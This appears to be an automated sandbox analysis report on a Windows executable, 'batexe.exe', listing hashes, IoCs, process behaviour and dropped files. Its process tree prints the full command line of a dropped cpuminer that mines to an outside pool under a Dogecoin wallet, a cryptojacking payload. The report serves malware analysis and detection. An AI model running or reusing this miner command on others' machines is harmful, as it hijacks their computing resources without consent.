73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
301s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
22/02/2024, 04:34

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4156	b2e.exe
1272	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1272	cpuminer-sse2.exe
1272	cpuminer-sse2.exe
1272	cpuminer-sse2.exe
1272	cpuminer-sse2.exe
1272	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2100-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2100 wrote to memory of 4156	2100	batexe.exe	74
PID 2100 wrote to memory of 4156	2100	batexe.exe	74
PID 2100 wrote to memory of 4156	2100	batexe.exe	74
PID 4156 wrote to memory of 928	4156	b2e.exe	75
PID 4156 wrote to memory of 928	4156	b2e.exe	75
PID 4156 wrote to memory of 928	4156	b2e.exe	75
PID 928 wrote to memory of 1272	928	cmd.exe	78
PID 928 wrote to memory of 1272	928	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2100
- C:\Users\Admin\AppData\Local\Temp\80B9.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\80B9.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\80B9.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4156
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\82CC.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:928
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1272

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\80B9.tmp\b2e.exe

Filesize
10.9MB

MD5
a0ee208c1b876def4f45c46b89da5e4d

SHA1
c3a1de0058d8a985e08d7fbdf86f216754ac58c2

SHA256
9471159eafd106e88573c414ff93731dad6269cc02417d042bbb23cc3a5edd14

SHA512
13124ee1b2a48630e8f2859dffd086c643c2bce4f60cf5f579e829e7f53dbe25afa3429ed501cb626bee1d733a0a6e7c9630970ae4b70c8e87280a7ac34a559b

Download Submit
C:\Users\Admin\AppData\Local\Temp\80B9.tmp\b2e.exe

Filesize
12.1MB

MD5
9bdfb27405ad3240ae1ecc44fa6bee60

SHA1
9d09f86f94bd2301dd522d9e0e85f13d9227b243

SHA256
c6efcd1689dc1c04de5f6a0a9589bf57649d24691590f36f634cdf9b0e45682f

SHA512
014ed137f649d82aec795b0deba5cfa21417168f40689618ed707e06f13cd3d89eaf746e92532c248b6748e8f7413816541fc4109e0f15537b0f3447cd69a3c6

Download Submit
C:\Users\Admin\AppData\Local\Temp\82CC.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.8MB

MD5
c506fdc0756e24177f47b538c19d6c91

SHA1
44677f34c1fdd7d94be282c636231880108cf786

SHA256
4a37863f13cfc1bcc963272e140065bf9c14f08fad96d79ed71ff8b87a53455e

SHA512
0dadb44ebcd9cecbb53d19345961513063e6d180656b8e3e61d6ba4f9e205f1ec20b9c6c69747bee76952b3c3e0a3cdfc9a815d58c35eff1ca4add8e42c103b2

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.9MB

MD5
58d948f5e5a86b475ce8c88e7fc1df7a

SHA1
e97753233de821c21216e66ecfe8027b7d4311c1

SHA256
e127a36beef9ff3b77f2b3eca2532ff6aac19441a13bb114524ceae7cc994ff3

SHA512
81db3f5c90895c1cccbdf0f21940ffaccf381658f964447816e8438c60d9e5198d7e5f6a782785c8944c0c8a9d106593d424174396554683813010f1d1cffb52

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.1MB

MD5
2de4ccb89958086f8eb501f18f91aeaa

SHA1
96d11cf326dbdf1ffc5a38826999e8b9483fc7e8

SHA256
12df267c0bd71010df9728e2095c51e15e3d9819a98e84ff2c7214e548af493c

SHA512
0320e5c2901c2cb8b4f40a0fad0e3d5920ebd0460bffefa0af92eac26a37eb7195d5ad25be9eb44b6dc7f491ccb9e75b04c701f2461a0d403ff5ac6d887a440b

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1272-42-0x000000006B1D0000-0x000000006B268000-memory.dmp

Filesize
608KB

Download
memory/1272-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1272-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1272-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1272-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1272-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1272-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/1272-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1272-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1272-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1272-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1272-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1272-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1272-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1272-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1272-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2100-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4156-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4156-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download